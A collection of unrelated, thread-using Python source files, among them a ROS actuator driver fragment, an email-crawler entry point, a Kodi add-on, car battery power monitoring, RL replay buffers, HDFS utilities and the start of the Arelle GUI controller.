self.actuator_data.tilt.encoder_rad = (rsp[10*i+5]) self.actuator_data.tilt.accel.x = (rsp[10*i+6]) self.actuator_data.tilt.accel.y = (rsp[10*i+7]) self.actuator_data.tilt.accel.z = (rsp[10*i+8]) self.actuator_data.tilt.temperature_degC = (rsp[10*i+9]) if not rospy.is_shutdown(): self.actuator_pub.publish(self.actuator_data) self.js.header.stamp = self.actuator_data.header.stamp self.js.name = ['pan_joint','tilt_joint'] self.js.position = [self.actuator_data.pan.pos_rad,self.actuator_data.tilt.pos_rad] self.js.velocity = [self.actuator_data.pan.vel_rps,self.actuator_data.tilt.vel_rps] self.js.effort = [self.actuator_data.pan.torque_nm,self.actuator_data.tilt.torque_nm] self.js_pub.publish(self.js) self._jcs.header.stamp = self.actuator_data.header.stamp self._jcs.joint_names = ['pan_joint','tilt_joint'] self._jcs.desired = self._last_cmd self._jcs.actual.positions = self.js.position self._jcs.actual.velocities = self.js.velocity self._jcs.actual.accelerations = [0.0,0.0] try: self._jcs.error.positions = map(operator.sub,self._jcs.desired.positions,self._jcs.actual.positions) self._jcs.error.velocities = map(operator.sub,self._jcs.desired.velocities,self._jcs.actual.velocities) except: self._jcs.error.positions = [0.0]*2 self._jcs.error.velocities = [0.0]*2 self._jcs.desired = self._jcs.actual self._last_cmd = self._jcs.actual self._jcs.error.accelerations = [0.0,0.0] self._jcs_pub.publish(self._jcs) rospy.logdebug("feedback received from movo") def _continuous_data(self,start_cont): ret = False if (True == start_cont): r = rospy.Rate(10) start_time = rospy.get_time() while ((rospy.get_time() - start_time) < 3.0) and (False == ret): self._add_config_command_to_queue(0,1) r.sleep() if ((rospy.get_time() - self.last_rsp_rcvd) < 0.05): ret = True else: start_time = rospy.get_time() while ((rospy.get_time() - start_time) < 3.0) and (False == ret): self._add_config_command_to_queue(0,0) rospy.sleep(0.6) if ((rospy.get_time() - self.last_rsp_rcvd) > 0.5): ret = True return ret
iterators.py
"""Various helpful iterators""" from queue import Queue, Empty from threading import Thread class IteratorWithAggregation: """ An iterable over an iterable which also makes an aggregate of the values available asap It iterates over the iterable in a separate thread. A use case is a generator which collects information about resources, which might be relatively fast but still take time. While we are iterating over it, we could perform other operations on yielded records, but we would also like to have access to the "summary" object as soon as that iterator completes but while we might still be iterating over items in the outside loop. Use case: iterate over remote resource for downloads, and get "Total" size/number as soon as it becomes known inside the underlying iterator. TODO: probably could be more elegant etc if implemented via async/coroutines. Attributes ---------- .total: Aggregated value as known to the moment. None if nothing was aggregated. It is a final value if `finished` is True. .finished: bool Set to True upon completion of iteration .exc: BaseException or None If not None -- the exception which was raised Example ------- Very simplistic example, since typically (not range) it would be taking some time to iterate for the nested iteration:: it = IteratorWithAggregation(range(3), lambda v, t=0: v+t) for v in it: print(it.total, it.finished, v) sleep(0.02) # doing smth heavy, but we would know .total as soon as it is known would produce (so 3 is known right away, again since it is just range) 3 True 0 3 True 1 3 True 2 """ def __init__(self, gen, agg, reraise_immediately=False): """ Parameters ---------- gen: iterable Generator (but could be any iterable, but it would not make much sense) to yield from agg: callable A callable with two args: new_value[, total=None] which should return adjusted total. Upon first iteration, no prior `total` is provided reraise_immediately: bool, optional If True, it would stop yielding values as soon as it detects that some exception has occurred (although there might still be values in the queue to be yielded which were collected before the exception was raised) """ self.gen = gen self.agg = agg self.reraise_immediately = reraise_immediately self.total = None self.finished = None self._exc = None def __iter__(self): self.finished = False self._exc = None queue = Queue() def worker(): """That is the one which interrogates gen and places total into queue_total upon completion""" total = None try: for value in self.gen: queue.put(value) self.total = total = ( self.agg(value, total) if total is not None else self.agg(value) ) except BaseException as e: self._exc = e finally: self.finished = True t = Thread(target=worker) t.start() # yield from the queue (.total and .finished could be accessed meanwhile) while True: if self.reraise_immediately and self._exc is not None: break # race condition HERE between checking for self.finished and if self.finished and queue.empty(): break # in general queue should not be empty, but if it is, e.g. due to race # condition with above check try: yield queue.get(timeout=0.001) except Empty: continue t.join() if self._exc is not None: raise self._exc
main.py
"""main.py: Base.""" __author__ = "Muhammad Umer Farooq" __license__ = "MIT" __version__ = "1.0.0" __maintainer__ = "Muhammad Umer Farooq" __email__ = "contact@muhammadumerfarooq.me" __status__ = "Production" from .__config import get_config import os import threading from queue import Queue from .helper import * from .email_spider import EmailSpider # Disable processing if we are running in a GitHub Action url = "" if os.getenv("GITHUB_ACTIONS") else input("Enter the url to crawl: ") domain = get_domain_name(url) project_name = domain queue_file = project_name + '/queue.txt' crawled_file = project_name + '/crawled.txt' # get config No_of_thread = get_config('threads') if None is No_of_thread: No_of_thread = 4 queue = Queue() if url: EmailSpider(project_name, url, domain) # Create worker. def workers(): for _ in range(No_of_thread): t = threading.Thread(target=work) t.daemon = True t.start() # Do the next job in queues.s def work(): while True: url = queue.get() EmailSpider.crawlPage(threading.current_thread().name, url) queue.task_done() # Lets do the job. def jobs(): for link in file_to_set(queue_file): queue.put(link) queue.join() crawl() # If anything left in queue, so crawl then. def crawl(): queued_links = file_to_set(queue_file) if len(queued_links) > 0: # Update the user display print(str(len(queued_links)) + ' links in the queue') jobs() def main(): if url: workers() crawl()
addon.py
# Author: Jakub Zalas # License: MIT https://opensource.org/licenses/MIT import sys,os sys.path.insert(0, os.path.join(os.path.dirname(__file__), 'resources', 'lib')) from urlparse import parse_qsl from tvseriesonlinepl import list from threading import Thread import urllib import xbmcgui import xbmcplugin import urlresolver _url = sys.argv[0] _handle = int(sys.argv[1]) def build_url(query): return _url + '?' + urllib.urlencode(query) def list_shows(): for show in list.shows().all(): url = build_url({'action': 'list_episodes', 'show_name': show.name, 'show_url': show.url}) li = xbmcgui.ListItem(show.name, iconImage='DefaultFolder.png') xbmcplugin.addDirectoryItem(handle=_handle, url=url, listitem=li, isFolder=True) xbmcplugin.endOfDirectory(_handle) def list_episodes(show_url): episodes = list.episodes(show_url) for episode in episodes.all(): url = build_url({'action': 'list_players', 'episode_name': episode.name, 'episode_url': episode.url}) li = xbmcgui.ListItem(episode.name, iconImage=episodes.image) xbmcplugin.addDirectoryItem(handle=_handle, url=url, listitem=li, isFolder=True) xbmcplugin.endOfDirectory(_handle) def list_players(episode_url): sites = list.player_sites(episode_url) threads = [] for player_site in sites.all(): thread = Thread(target=resolve_media_url, args=(player_site, sites)) threads.append(thread) thread.start() for thread in threads: thread.join() xbmcplugin.endOfDirectory(_handle) def resolve_media_url(player_site, sites): media_url = urlresolver.resolve(player_site.url) item_name = player_site.name if not media_url: item_name = ':( ' + item_name url = build_url({'action': 'play', 'player_site_name': player_site.name, 'player_site_url': media_url}) li = xbmcgui.ListItem(item_name, iconImage=sites.image) if media_url: li.setInfo(type='Video', infoLabels={"Title": item_name}) li.setProperty('IsPlayable', 'true') xbmcplugin.addDirectoryItem(handle=_handle, url=url, listitem=li, isFolder=False) def play(media_url): play_item = xbmcgui.ListItem(path=media_url) xbmcplugin.setResolvedUrl(_handle, True, listitem=play_item) def router(paramstring): params = dict(parse_qsl(paramstring)) if params: if params['action'] == 'list_episodes': list_episodes(params['show_url']) if params['action'] == 'list_players': list_players(params['episode_url']) if params['action'] == 'play': play(params['player_site_url']) else: list_shows() if __name__ == '__main__': router(sys.argv[2][1:])
power_monitoring.py
import random import threading import time from statistics import mean from cereal import log from common.params import Params, put_nonblocking from common.realtime import sec_since_boot from selfdrive.hardware import HARDWARE from selfdrive.swaglog import cloudlog PANDA_OUTPUT_VOLTAGE = 5.28 CAR_VOLTAGE_LOW_PASS_K = 0.091 # LPF gain for 5s tau (dt/tau / (dt/tau + 1)) # A C2 uses about 1W while idling, and 30h seens like a good shutoff for most cars # While driving, a battery charges completely in about 30-60 minutes CAR_BATTERY_CAPACITY_uWh = 30e6 CAR_CHARGING_RATE_W = 45 VBATT_PAUSE_CHARGING = 11.0 MAX_TIME_OFFROAD_S = 30*3600 # Parameters def get_battery_capacity(): return _read_param("/sys/class/power_supply/battery/capacity", int) def get_battery_status(): # This does not correspond with actual charging or not. # If a USB cable is plugged in, it responds with 'Charging', even when charging is disabled return _read_param("/sys/class/power_supply/battery/status", lambda x: x.strip(), '') def get_battery_current(): return _read_param("/sys/class/power_supply/battery/current_now", int) def get_battery_voltage(): return _read_param("/sys/class/power_supply/battery/voltage_now", int) def get_usb_present(): return _read_param("/sys/class/power_supply/usb/present", lambda x: bool(int(x)), False) def get_battery_charging(): # This does correspond with actually charging return _read_param("/sys/class/power_supply/battery/charge_type", lambda x: x.strip() != "N/A", True) def set_battery_charging(on): with open('/sys/class/power_supply/battery/charging_enabled', 'w') as f: f.write(f"{1 if on else 0}\n") # Helpers def _read_param(path, parser, default=0): try: with open(path) as f: return parser(f.read()) except Exception: return default def panda_current_to_actual_current(panda_current): # From white/grey panda schematic return (3.3 - (panda_current * 3.3 / 4096)) / 8.25 class PowerMonitoring: def __init__(self): self.params = Params() self.last_measurement_time = None # Used for integration delta self.last_save_time = 0 # Used for saving current value in a param self.power_used_uWh = 0 # Integrated power usage in uWh since going into offroad self.next_pulsed_measurement_time = None self.car_voltage_mV = 12e3 # Low-passed version of health voltage self.integration_lock = threading.Lock() car_battery_capacity_uWh = self.params.get("CarBatteryCapacity") if car_battery_capacity_uWh is None: car_battery_capacity_uWh = 0 # Reset capacity if it's low self.car_battery_capacity_uWh = max((CAR_BATTERY_CAPACITY_uWh / 10), int(car_battery_capacity_uWh)) # Calculation tick def calculate(self, health): try: now = sec_since_boot() # If health is None, we're probably not in a car, so we don't care if health is None or health.health.hwType == log.HealthData.HwType.unknown: with self.integration_lock: self.last_measurement_time = None self.next_pulsed_measurement_time = None self.power_used_uWh = 0 return # Low-pass battery voltage self.car_voltage_mV = ((health.health.voltage * CAR_VOLTAGE_LOW_PASS_K) + (self.car_voltage_mV * (1 - CAR_VOLTAGE_LOW_PASS_K))) # Cap the car battery power and save it in a param every 10-ish seconds self.car_battery_capacity_uWh = max(self.car_battery_capacity_uWh, 0) self.car_battery_capacity_uWh = min(self.car_battery_capacity_uWh, CAR_BATTERY_CAPACITY_uWh) if now - self.last_save_time >= 10: put_nonblocking("CarBatteryCapacity", str(int(self.car_battery_capacity_uWh))) self.last_save_time = now # First measurement, set integration time with self.integration_lock: if self.last_measurement_time is None: self.last_measurement_time = now return if (health.health.ignitionLine or health.health.ignitionCan): # If there is ignition, we integrate the charging rate of the car with self.integration_lock: self.power_used_uWh = 0 integration_time_h = (now - self.last_measurement_time) / 3600 if integration_time_h < 0: raise ValueError(f"Negative integration time: {integration_time_h}h") self.car_battery_capacity_uWh += (CAR_CHARGING_RATE_W * 1e6 * integration_time_h) self.last_measurement_time = now else: # No ignition, we integrate the offroad power used by the device is_uno = health.health.hwType == log.HealthData.HwType.uno # Get current power draw somehow current_power = HARDWARE.get_current_power_draw() if current_power is not None: pass elif HARDWARE.get_battery_status() == 'Discharging': # If the battery is discharging, we can use this measurement # On C2: this is low by about 10-15%, probably mostly due to UNO draw not being factored in current_power = ((get_battery_voltage() / 1000000) * (get_battery_current() / 1000000)) elif (health.health.hwType in [log.HealthData.HwType.whitePanda, log.HealthData.HwType.greyPanda]) and (health.health.current > 1): # If white/grey panda, use the integrated current measurements if the measurement is not 0 # If the measurement is 0, the current is 400mA or greater, and out of the measurement range of the panda # This seems to be accurate to about 5% current_power = (PANDA_OUTPUT_VOLTAGE * panda_current_to_actual_current(health.health.current)) elif (self.next_pulsed_measurement_time is not None) and (self.next_pulsed_measurement_time <= now): # TODO: Figure out why this is off by a factor of 3/4??? FUDGE_FACTOR = 1.33 # Turn off charging for about 10 sec in a thread that does not get killed on SIGINT, and perform measurement here to avoid blocking thermal def perform_pulse_measurement(now): try: HARDWARE.set_battery_charging(False) time.sleep(5) # Measure for a few sec to get a good average voltages = [] currents = [] for _ in range(6): voltages.append(HARDWARE.get_battery_voltage()) currents.append(HARDWARE.get_battery_current()) time.sleep(1) current_power = ((mean(voltages) / 1000000) * (mean(currents) / 1000000)) self._perform_integration(now, current_power * FUDGE_FACTOR) # Enable charging again HARDWARE.set_battery_charging(True) except Exception: cloudlog.exception("Pulsed power measurement failed") # Start pulsed measurement and return threading.Thread(target=perform_pulse_measurement, args=(now,)).start() self.next_pulsed_measurement_time = None return elif self.next_pulsed_measurement_time is None and not is_uno: # On a charging EON with black panda, or drawing more than 400mA out of a white/grey one # Only way to get the power draw is to turn off charging for a few sec and check what the discharging rate is # We shouldn't do this very often, so make sure it has been some long-ish random time interval self.next_pulsed_measurement_time = now + random.randint(120, 180) return else: # Do nothing return # Do the integration self._perform_integration(now, current_power) except Exception: cloudlog.exception("Power monitoring calculation failed") def _perform_integration(self, t, current_power): with self.integration_lock: try: if self.last_measurement_time: integration_time_h = (t - self.last_measurement_time) / 3600 power_used = (current_power * 1000000) * integration_time_h if power_used < 0: raise ValueError(f"Negative power used! Integration time: {integration_time_h} h Current Power: {power_used} uWh") self.power_used_uWh += power_used self.car_battery_capacity_uWh -= power_used self.last_measurement_time = t except Exception: cloudlog.exception("Integration failed") # Get the power usage def get_power_used(self): return int(self.power_used_uWh) def get_car_battery_capacity(self): return int(self.car_battery_capacity_uWh) # See if we need to disable charging def should_disable_charging(self, health, offroad_timestamp): if health is None or offroad_timestamp is None: return False now = sec_since_boot() disable_charging = False disable_charging |= (now - offroad_timestamp) > MAX_TIME_OFFROAD_S disable_charging |= (self.car_voltage_mV < (VBATT_PAUSE_CHARGING * 1e3)) disable_charging |= (self.car_battery_capacity_uWh <= 0) disable_charging &= (not health.health.ignitionLine and not health.health.ignitionCan) disable_charging &= (self.params.get("DisablePowerDown") != b"1") return disable_charging # See if we need to shutdown def should_shutdown(self, health, offroad_timestamp, started_seen, LEON): if health is None or offroad_timestamp is None: return False now = sec_since_boot() panda_charging = (health.health.usbPowerMode != log.HealthData.UsbPowerMode.client) BATT_PERC_OFF = 101 should_shutdown = False # Wait until we have shut down charging before powering down should_shutdown |= (not panda_charging and self.should_disable_charging(health, offroad_timestamp)) should_shutdown |= ((HARDWARE.get_battery_capacity() < BATT_PERC_OFF) and (not HARDWARE.get_battery_charging()) and ((now - offroad_timestamp) > 10)) should_shutdown &= started_seen return should_shutdown
utils.py
import math import pickle import random import threading from collections import namedtuple from enum import Enum import numpy as np import torch Transition = namedtuple( 'Transition', ('state', 'action', 'reward', 'state_next', 'done') ) PPO_Transition = namedtuple( 'Transition', ('state', 'action', 'reward', 'state_next', 'done', 'logprobs', 'values') ) class TestMetric(Enum): CUMULATIVE_REWARD = 1 BEST_ENERGY = 2 ENERGY_ERROR = 3 MAX_CUT = 4 FINAL_CUT = 5 def set_global_seed(seed, env): torch.manual_seed(seed) env.set_seed(seed) np.random.seed(seed) random.seed(seed) class PPOBuffer: def __init__(self): self._memory = {} self._position = 0 def add(self, *args): self._memory[self._position] = PPO_Transition(*args) self._position = self._position + 1 def clear_memory(self): save_memory = self._memory[self._position-1] self._memory = {} self.position = 0 self._memory[self._position] = save_memory self._position = self._position + 1 def get_list(self,device=None): next_batch = [torch.stack(tensors).to(device) for tensors in zip(*list(self._memory.values()))] return next_batch def __len__(self): return len(self._memory) class ReplayBufferPPO: def __init__(self, capacity): self._capacity = capacity self._memory = {} self._position = 0 self.next_batch_process=None self.next_batch_size=None self.next_batch_device=None self.next_batch = None def add(self, *args): """ Saves a transition. """ if self.next_batch_process is not None: # Don't add to the buffer when sampling from it. self.next_batch_process.join() self._memory[self._position] = PPO_Transition(*args) self._position = (self._position + 1) % self._capacity def _prepare_sample(self, batch_size, device=None): self.next_batch_size = batch_size self.next_batch_device = device batch = random.sample(list(self._memory.values()), batch_size) self.next_batch = [torch.stack(tensors).to(device) for tensors in zip(*batch)] self.next_batch_ready = True def launch_sample(self, *args): self.next_batch_process = threading.Thread(target=self._prepare_sample, args=args) self.next_batch_process.start() def sample(self, batch_size, device=None): """ Samples a batch of Transitions, with the tensors already stacked and transfered to the specified device. Return a list of tensors in the order specified in Transition. """ if self.next_batch_process is not None: self.next_batch_process.join() else: self.launch_sample(batch_size, device) self.sample(batch_size, device) if self.next_batch_size==batch_size and self.next_batch_device==device: next_batch = self.next_batch self.launch_sample(batch_size, device) return next_batch else: self.launch_sample(batch_size, device) self.sample(batch_size, device) def __len__(self): return len(self._memory) class ReplayBuffer: def __init__(self, capacity): self._capacity = capacity self._memory = {} self._position = 0 self.next_batch_process=None self.next_batch_size=None self.next_batch_device=None self.next_batch = None def add(self, *args): """ Saves a transition. """ if self.next_batch_process is not None: # Don't add to the buffer when sampling from it. self.next_batch_process.join() self._memory[self._position] = Transition(*args) self._position = (self._position + 1) % self._capacity def _prepare_sample(self, batch_size, device=None): self.next_batch_size = batch_size self.next_batch_device = device batch = random.sample(list(self._memory.values()), batch_size) self.next_batch = [torch.stack(tensors).to(device) for tensors in zip(*batch)] self.next_batch_ready = True def launch_sample(self, *args): self.next_batch_process = threading.Thread(target=self._prepare_sample, args=args) self.next_batch_process.start() def sample(self, batch_size, device=None): """ Samples a batch of Transitions, with the tensors already stacked and transfered to the specified device. Return a list of tensors in the order specified in Transition. """ if self.next_batch_process is not None: self.next_batch_process.join() else: self.launch_sample(batch_size, device) self.sample(batch_size, device) if self.next_batch_size==batch_size and self.next_batch_device==device: next_batch = self.next_batch self.launch_sample(batch_size, device) return next_batch else: self.launch_sample(batch_size, device) self.sample(batch_size, device) def __len__(self): return len(self._memory) class PrioritisedReplayBuffer: def __init__(self, capacity=10000, alpha=0.7, beta0=0.5): # The capacity of the replay buffer. self._capacity = capacity # A binary (max-)heap of the buffer contents, sorted by the td_error <--> priority. self.priority_heap = {} # heap_position : [buffer_position, td_error, transition] # Maps a buffer position (when the transition was added) to the position of the # transition in the priority_heap. self.buffer2heap = {} # buffer_position : heap_position # The current position in the replay buffer. Starts at 1 for ease of binary-heap calcs. self._buffer_position = 1 # Flag for when the replay buffer reaches max capicity. self.full = False self.alpha = alpha self.beta = beta0 self.beta_step = 0 self.partitions = [] self.probabilities = [] self.__partitions_fixed = False def __get_max_td_err(self): try: return self.priority_heap[0][1] except KeyError: # Nothing exists in the priority heap yet! return 1 def add(self, *args): """ Add the transition described by *args : (state, action, reward, state_next, done), to the memory. """ # By default a new transition has equal highest priority in the heap. trans = [self._buffer_position, self.__get_max_td_err(), Transition(*args)] try: # Find the heap position of the transition to be replaced heap_pos = self.buffer2heap[self._buffer_position] self.full = True # We found a transition in this buffer slot --> the memory is at capacity. except KeyError: # No transition in the buffer slot, therefore we will be adding one fresh. heap_pos = self._buffer_position # Update the heap, associated data stuctures and re-sort. self.__update_heap(heap_pos, trans) self.up_heap(heap_pos) if self.full: self.down_heap(heap_pos) # Iterate to the next buffer position. self._buffer_position = (self._buffer_position % self._capacity) + 1 def __update_heap(self, heap_pos, val): """ heapList[heap_pos] <-- val = [buffer_position, td_error, transition] """ self.priority_heap[heap_pos] = val self.buffer2heap[val[0]] = heap_pos def up_heap(self, i): """ Iteratively swap heap items with their parents until they are in the correct order. """ if i >= 2: i_parent = i // 2 if self.priority_heap[i_parent][1] < self.priority_heap[i][1]: tmp = self.priority_heap[i] self.__update_heap(i, self.priority_heap[i_parent]) self.__update_heap(i_parent, tmp) self.up_heap(i_parent) def down_heap(self, i): """ Iteratively swap heap items with their children until they are in the correct order. """ i_largest = i left = 2 * i right = 2 * i + 1 size = self._capacity if self.full else len(self) if left < size and self.priority_heap[left][1] > self.priority_heap[i_largest][1]: i_largest = left if right < size and self.priority_heap[right][1] > self.priority_heap[i_largest][1]: i_largest = right if i_largest != i: tmp = self.priority_heap[i] self.__update_heap(i, self.priority_heap[i_largest]) self.__update_heap(i_largest, tmp) self.down_heap(i_largest) def rebalance(self): """ rebalance priority_heap """ sort_array = sorted(self.priority_heap.values(), key=lambda x: x[1], reverse=True) # reconstruct priority_queue self.priority_heap.clear() self.buffer2heap.clear() count = 1 while count <= self._capacity: self.__update_heap(count, sort_array[count - 1]) count += 1 # sort the heap for i in range(self._capacity // 2, 1, -1): self.down_heap(i) def update_partitions(self, num_partitions): # P(t_i) = p_i^alpha / Sum_k(p_k^alpha), where the priority p_i = 1 / rank_i. priorities = [math.pow(rank, -self.alpha) for rank in range(1, len(self.priority_heap) + 1)] priorities_sum = sum(priorities) probabilities = dict( [(rank0index + 1, priority / priorities_sum) for rank0index, priority in enumerate(priorities)]) partitions = [1] partition_num = 1 cum_probabilty = 0 next_boundary = partition_num / num_partitions rank = 1 while partition_num < num_partitions: cum_probabilty += probabilities[rank] rank += 1 if cum_probabilty >= next_boundary: partitions.append(rank) partition_num += 1 next_boundary = partition_num / num_partitions partitions.append(len(self.priority_heap)) partitions = [(a, b) for a, b in zip(partitions, partitions[1:])] return partitions, probabilities def update_priorities(self, buffer_positions, td_error): for buf_id, td_err in zip(buffer_positions, td_error): heap_id = self.buffer2heap[buf_id] [id, _, trans] = self.priority_heap[heap_id] self.priority_heap[heap_id] = [id, td_err, trans] self.down_heap(heap_id) self.up_heap(heap_id) def sample(self, batch_size, device=None): # print("\nStarting sample():...") # t = time.time() if batch_size != len(self.partitions) or not self.__partitions_fixed: # t1 = time.time() self.partitions, self.probabilities = self.update_partitions(batch_size) if self.full: # Once the buffer is full, the partitions no longer need to be updated # (as they depend only on the number of stored transitions and alpha). self.__partitions_fixed = True # print("\tupdate_partitions in :", time.time()-t1) self.beta = min(self.beta + self.beta_step, 1) # t1 = time.time() batch_ranks = [np.random.randint(low, high) for low, high in self.partitions] batch_buffer_positions, batch_td_errors, batch_transitions = zip(*[self.priority_heap[rank] for rank in batch_ranks]) batch = [torch.stack(tensors).to(device) for tensors in zip(*batch_transitions)] # print("\tbatch sampled in :", time.time() - t1) # t1 = time.time() N = self._capacity if self.full else len(self) # Note this is a column vector to match the dimensions of weights and td_target in dqn.train_step(...) sample_probs = torch.FloatTensor([[self.probabilities[rank]] for rank in batch_ranks]) weights = (N * sample_probs).pow(-self.beta) weights /= weights.max() # print("\tweights calculated in :", time.time() - t1) # print("...finished in :", time.time() - t) return batch, weights.to(device), batch_buffer_positions def configure_beta_anneal_time(self, beta_max_at_samples): self.beta_step = (1 - self.beta) / beta_max_at_samples def __len__(self): return len(self.priority_heap) class Logger: def __init__(self): self._memory = {} self._saves = 0 self._maxsize = 1000000 self._dumps = 0 def add_scalar(self, name, data, timestep): """ Saves a scalar """ if isinstance(data, torch.Tensor): data = data.item() self._memory.setdefault(name, []).append([data, timestep]) self._saves += 1 if self._saves == self._maxsize - 1: with open('log_data_' + str((self._dumps + 1) * self._maxsize) + '.pkl', 'wb') as output: pickle.dump(self._memory, output, pickle.HIGHEST_PROTOCOL) self._dumps += 1 self._saves = 0 self._memory = {} def save(self): with open('log_data.pkl', 'wb') as output: pickle.dump(self._memory, output, pickle.HIGHEST_PROTOCOL)
util.py
#!/usr/bin/env python # encoding: utf-8 """Common utilities.""" from contextlib import contextmanager from shutil import rmtree from six.moves.queue import Queue from tempfile import mkstemp from threading import Thread import logging as lg import os import os.path as osp _logger = lg.getLogger(__name__) class HdfsError(Exception): """Base error class. :param message: Error message. :param args: optional Message formatting arguments. """ def __init__(self, message, *args, **kwargs): self.message = message % args if args else message super(HdfsError, self).__init__(self.message) self.exception = kwargs.get("exception") class AsyncWriter(object): """Asynchronous publisher-consumer. :param consumer: Function which takes a single generator as argument. This class can be used to transform functions which expect a generator into file-like writer objects. This can make it possible to combine different APIs together more easily. For example, to send streaming requests: .. code-block:: python import requests as rq with AsyncWriter(lambda data: rq.post(URL, data=data)) as writer: writer.write('Hello, world!') """ def __init__(self, consumer): self._consumer = consumer self._queue = None self._reader = None self._err = None _logger.debug('Instantiated %r.', self) def __repr__(self): return '<%s(consumer=%r)>' % (self.__class__.__name__, self._consumer) def __enter__(self): if self._queue: raise ValueError('Cannot nest contexts.') self._queue = Queue() self._err = None def consumer(data): """Wrapped consumer that lets us get a child's exception.""" try: _logger.debug('Starting consumer.') self._consumer(data) except Exception as err: # pylint: disable=broad-except _logger.exception('Exception in child.') self._err = err finally: _logger.debug('Finished consumer.') def reader(queue): """Generator read by the consumer.""" while True: chunk = queue.get() if chunk is None: break yield chunk self._reader = Thread(target=consumer, args=(reader(self._queue), )) self._reader.start() _logger.debug('Started child thread.') return self def __exit__(self, exc_type, exc_value, traceback): if exc_value: _logger.debug('Exception in parent.') if self._reader and self._reader.is_alive(): _logger.debug('Signaling child.') self._queue.put(None) self._reader.join() if self._err: raise self._err # pylint: disable=raising-bad-type else: _logger.debug('Child terminated without errors.') self._queue = None def flush(self): """Pass-through implementation.""" pass def seekable(self): """Implement file-like method expected by certain libraries. `fastavro` relies on it in python 3. """ return False def tell(self): """No-op implementation.""" return 0 def write(self, chunk): """Stream data to the underlying consumer. :param chunk: Bytes to write. These will be buffered in memory until the consumer reads them. """ self._queue.put(chunk) @contextmanager def temppath(dpath=None): """Create a temporary path. :param dpath: Explicit directory name where to create the temporary path. A system dependent default will be used otherwise (cf. `tempfile.mkstemp`). Usage:: with temppath() as path: pass # do stuff Any file or directory corresponding to the path will be automatically deleted afterwards. """ (desc, path) = mkstemp(dir=dpath) os.close(desc) os.remove(path) try: _logger.debug('Created temporary path at %s.', path) yield path finally: if osp.exists(path): if osp.isdir(path): rmtree(path) _logger.debug('Deleted temporary directory at %s.', path) else: os.remove(path) _logger.debug('Deleted temporary file at %s.', path) else: _logger.debug('No temporary file or directory to delete at %s.', path)
CntlrWinMain.py
''' Created on Oct 3, 2010 This module is Arelle's controller in windowing interactive UI mode @author: Mark V Systems Limited (c) Copyright 2010 Mark V Systems Limited, All rights reserved. ''' from arelle import PythonUtil # define 2.x or 3.x string types import os, sys, subprocess, pickle, time, locale, re, fnmatch, platform if sys.platform == 'win32' and getattr(sys, 'frozen', False): # need the .dll directory in path to be able to access Tk and Tcl DLLs efore importinng Tk, etc. os.environ['PATH'] = os.path.dirname(sys.executable) + ";" + os.environ['PATH'] from tkinter import (Tk, Tcl, TclError, Toplevel, Menu, PhotoImage, StringVar, BooleanVar, N, S, E, W, EW, HORIZONTAL, VERTICAL, END, font as tkFont) try: from tkinter.ttk import Frame, Button, Label, Combobox, Separator, PanedWindow, Notebook except ImportError: # 3.0 versions of tkinter from ttk import Frame, Button, Label, Combobox, Separator, PanedWindow, Notebook try: import syslog except ImportError: syslog = None import tkinter.tix import tkinter.filedialog import tkinter.messagebox, traceback import tkinter.simpledialog from arelle.FileSource import saveFile as writeToFile from arelle.Locale import format_string from arelle.CntlrWinTooltip import ToolTip from arelle import XbrlConst from arelle.PluginManager import pluginClassMethods from arelle.UrlUtil import isHttpUrl import logging import threading, queue from arelle import Cntlr from arelle import (DialogURL, DialogLanguage, DialogPluginManager, DialogPackageManager, ModelDocument, ModelManager, PackageManager, RenderingEvaluator, TableStructure, ViewWinDTS, ViewWinProperties, ViewWinConcepts, ViewWinRelationshipSet, ViewWinFormulae, ViewWinFactList, ViewFileFactList, ViewWinFactTable, ViewWinRenderedGrid, ViewWinXml, ViewWinRoleTypes, ViewFileRoleTypes, ViewFileConcepts, ViewWinTests, ViewWinTree, ViewWinVersReport, ViewWinRssFeed, ViewFileTests, ViewFileRenderedGrid, ViewFileRelationshipSet, Updater ) from arelle.ModelFormulaObject import FormulaOptions from arelle.FileSource import openFileSource restartMain = True class CntlrWinMain (Cntlr.Cntlr): def __init__(self, parent): super(CntlrWinMain, self).__init__(hasGui=True) self.parent = parent self.filename = None self.dirty = False overrideLang = self.config.get("labelLangOverride") self.labelLang = overrideLang if overrideLang else self.modelManager.defaultLang self.data = {} if self.isMac: # mac Python fonts bigger than other apps (terminal, text edit, Word), and to windows Arelle _defaultFont = tkFont.nametofont("TkDefaultFont") # label, status bar, treegrid _defaultFont.configure(size=11) _textFont = tkFont.nametofont("TkTextFont") # entry widget and combobox entry field _textFont.configure(size=11) #parent.option_add("*Font", _defaultFont) # would be needed if not using defaulted font toolbarButtonPadding = 1 else: toolbarButtonPadding = 4 tkinter.CallWrapper = TkinterCallWrapper imgpath = self.imagesDir + os.sep if self.isMSW: icon = imgpath + "arelle.ico" parent.iconbitmap(icon, default=icon) #image = PhotoImage(file=path + "arelle32.gif") #label = Label(None, image=image) #parent.iconwindow(label) else: self.iconImage = PhotoImage(file=imgpath + "arelle-mac-icon-4.gif") # must keep reference during life of window parent.tk.call('wm', 'iconphoto', parent._w, self.iconImage) #parent.iconbitmap("@" + imgpath + "arelle.xbm") # try with gif file #parent.iconbitmap(path + "arelle.gif") self.menubar = Menu(self.parent) self.parent["menu"] = self.menubar self.fileMenu = Menu(self.menubar, tearoff=0) self.fileMenuLength = 1 for label, command, shortcut_text, shortcut in ( #(_("New..."), self.fileNew, "Ctrl+N", "<Control-n>"), (_("Open File..."), self.fileOpen, "Ctrl+O", "<Control-o>"), (_("Open Web..."), self.webOpen, "Shift+Alt+O", "<Shift-Alt-o>"), (_("Import File..."), self.importFileOpen, None, None), (_("Import Web..."), self.importWebOpen, None, None), (_("Reopen"), self.fileReopen, None, None), ("PLUG-IN", "CntlrWinMain.Menu.File.Open", None, None), (_("Save"), self.fileSaveExistingFile, "Ctrl+S", "<Control-s>"), (_("Save As..."), self.fileSave, None, None), (_("Save DTS Package"), self.saveDTSpackage, None, None), ("PLUG-IN", "CntlrWinMain.Menu.File.Save", None, None), (_("Close"), self.fileClose, "Ctrl+W", "<Control-w>"), (None, None, None, None), (_("Quit"), self.quit, "Ctrl+Q", "<Control-q>"), #(_("Restart"), self.restart, None, None), (None, None, None, None), ("",None,None,None) # position for file history ): if label is None: self.fileMenu.add_separator() elif label == "PLUG-IN": for pluginMenuExtender in pluginClassMethods(command): pluginMenuExtender(self, self.fileMenu) self.fileMenuLength += 1 else: self.fileMenu.add_command(label=label, underline=0, command=command, accelerator=shortcut_text) self.parent.bind(shortcut, command) self.fileMenuLength += 1 self.loadFileMenuHistory() self.menubar.add_cascade(label=_("File"), menu=self.fileMenu, underline=0) toolsMenu = 